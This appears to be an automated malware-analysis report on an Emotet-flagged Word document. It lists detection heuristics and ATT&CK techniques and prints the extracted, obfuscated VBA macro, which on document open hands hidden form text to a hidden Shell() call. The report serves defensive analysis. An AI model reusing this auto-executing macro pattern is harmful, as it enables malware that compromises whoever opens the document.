MALICIOUS
222
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample contains a Document_Open VBA macro that utilizes the Shell() function to execute arbitrary commands. ClamAV detection identifies this as Emotet, a known downloader family. The macro's primary function appears to be executing a command to download and run a secondary payload, as indicated by the Shell() call and the Emotet family attribution.
Heuristics 6
-
ClamAV: Doc.Downloader.Emotet-6858703-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Emotet-6858703-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
- http://ns.adobe.com/tiff/1.0/In document text (OLE body)
- http://ns.adobe.com/exif/1.0/In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2418 bytes |
SHA-256: 56add05d4ba1697087592ab66cd104929c25ed55a62f95803a4e0dee2abbba92 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Function run(tBpWKmXji)
XoyJR1XfN = VBA.Shell(tBpWKmXji, 0)
Dim feEQTyR(4 To 239) As String
feEQTyR(4) = "EHCumV47B"
Dim RHAln6v
RHAln6v = hUve8xZN
Dim Pe36B(7 To 151) As String
Pe36B(7) = "qK1ZJIiwE"
Dim eQdC1 As String
eQdC1 = ZcE3IWe
opdOj = 1
ayaTrxP = CBool(opdOj)
Dim xwKuEUV As String
xwKuEUV = jwinf50Fs
End Function
Sub Document_Open()
Dim usn2WgkN, gMXiDT
usn2WgkN = 32.32
gMXiDT = CByte(usn2WgkN)
y6t3UH1s4 = 0
MSfr5pj3 = CBool(y6t3UH1s4)
Dim s3uxS(2 To 202) As String
s3uxS(2) = "M6nJQOfy7"
Dim bC1wAU2jp As Long
bC1wAU2jp = (-2086 + 2100) / (41)
Dim vNwf63TW
vNwf63TW = pYIVoqdK
Dim KUfc8JT, T57sRSpu
KUfc8JT = 5.5
T57sRSpu = CByte(KUfc8JT)
Dim APpZnx9g(11 To 200) As String
APpZnx9g(11) = "byIpQt1Os"
Call z
End Sub
Sub Document_Close()
End Sub
Attribute VB_Name = "BHyVRi3NE"
Public Sub z()
Dim KNwWf, oVs2lgj
KNwWf = 4.4
oVs2lgj = CByte(KNwWf)
shQpvm5 = 1
cLtHB = CBool(shQpvm5)
Dim kNk7vDo(6 To 166) As Long
kNk7vDo(6) = 127 + 103
Dim pMB7Z As Long
pMB7Z = (16330 / 710) - (46)
Dim pr93d(12 To 186) As String
pr93d(12) = "KTYkaEAO"
Dim eiPmMHOS(4 To 213) As Long
eiPmMHOS(4) = 15125 / 125
ThisDocument.run Ockvia0
End Sub
Attribute VB_Name = "Aowr74"
Sub b7uIkXlpo(dJ5HzxO)
End Sub
Attribute VB_Name = "d3ugvO"
Public Function Ockvia0()
Dim nVIaxvJ As Object
Dim NdWN1fbew
NdWN1fbew = pdaquLYp6
Dim ML5Ow As Long
ML5Ow = (164 - 139) / (48)
Set nVIaxvJ = New fx
Dim Ml1M3FXCv As String
Ml1M3FXCv = nVIaxvJ.woman.Text
Dim mazqZGw(16 To 200) As String
mazqZGw(16) = "r5MTUpe"
Dim dgvGs As Long
dgvGs = (2001 - 1992) * (38)
Dim aCNBy, svauP07p
aCNBy = 1.1
svauP07p = CByte(aCNBy)
Dim UTm8XPe4M As String
UTm8XPe4M = jOLsBUe6I
Dim e739s1
e739s1 = mtW4zAjo
Ockvia0 = Ml1M3FXCv
End Function
Attribute VB_Name = "fx"
Attribute VB_Base = "0{7FAA54AB-B3AF-4F35-BE30-C81D68ACAEB5}{9D5FA07B-27B9-45B8-A120-5412CD127479}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.